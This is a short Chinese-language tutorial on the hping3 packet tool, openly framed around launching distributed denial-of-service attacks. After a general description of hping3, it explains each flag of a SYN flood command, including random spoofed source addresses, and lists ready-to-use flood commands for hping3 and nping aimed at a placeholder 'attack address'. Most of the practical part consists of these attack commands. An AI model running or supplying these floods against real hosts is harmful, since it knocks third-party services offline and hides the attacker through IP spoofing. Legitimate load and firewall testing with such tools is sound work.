安全测试工具Hping3（用于泛洪）

Hping3能伪造大量随机ip实现DDOS，kali自带工具，属于主流工具。
安装：
在虚拟机上安装Kali Linux系统
因为主要介绍的是分布式拒绝服务的攻击，所以重点讲下使用方法
1.Hping3是什么
hping3是一款面向TCP/IP协议的免费的数据包生成和分析工具。Hping是用于对防火墙和网络执行安全审计和测试的事实上的工具之一，过去用来利用如今实施在Nmap端口扫描工具中的空闲扫描(Idle Scan)扫描方法。新版本的hping即hping3可使用Tcl语言编写脚本，实施了一个引擎，可用于对TCP/IP数据包进行基于字符串、人可读的描述，那样编程人员就能编写与在很短的时间内对TCP/IP数据包执行低层处理和分析有关的脚本。
与计算机安全界使用的大多数工具一样，hping3对安全专家们来说很有用，不过也有许多与网络测试和系统管理有关的应用程序。
hping3应该可以用来……
使用标准的实用工具，对阻止攻击企图的防火墙后面的主机执行路由跟踪/乒测/侦探等操作。
执行空闲扫描(现在实施在Nmap中，有简易的用户界面)
测试防火墙规则。
测试入侵检测系统(IDS)。
利用TCP/IP堆栈的已知安全漏洞。
进行网络研究。
学习TCP/IP(据我所知hping用于网络课程)。
编写与TCP/IP测试和安全有关的实际应用程序。
执行自动化的防火墙测试。
利用概念证明漏洞。
需要模拟复杂的TCP/IP行为时，进行网络和安全研究。
为IDS系统建立原型。
容易使用采用Tk界面的网络实用工具。
与另外许多工具一样，hping3也预先安装在Kali Linux上。它相当有用，我稍后就会演示用法。
使用hping3和随机性源头IP发动DoS
2.运行命令

1. hping3 = 应用程序二进制代码的名称。
2. -c 100000 = 发送的数据包的数量。
3. -d 120 = 发送到目标机器的每个数据包的大小。
4. -S = 只发送SYN数据包。
5. -w 64 = TCP窗口大小。
6. -p 21 = 目的地端口(21是FTP端口)。你在这里可以使用任何端口。
7. –flood = 尽可能快地发送数据包，不需要考虑显示入站回复。洪水攻击模式。
8. –rand-source = 使用随机性的源头IP地址。你还可以使用-a或–spoof来隐藏主机名。
9. www.hping3testsite.com = 目的地IP地址或目标机器的IP地址。

3.使用hping3和nping发动DoS的示例命令
简单的洪水攻击：hping3 -S --flood -V 攻击地址

结合伪造IP地址的简单的SYN洪水攻击――使用HPING3的DoS
hping3 -S -P -U --flood -V --rand-source 攻击地址

TCP连接洪水攻击-使用NPING的DoS
nping --tcp-connect -rate=90000 -c 900000 -q 攻击地址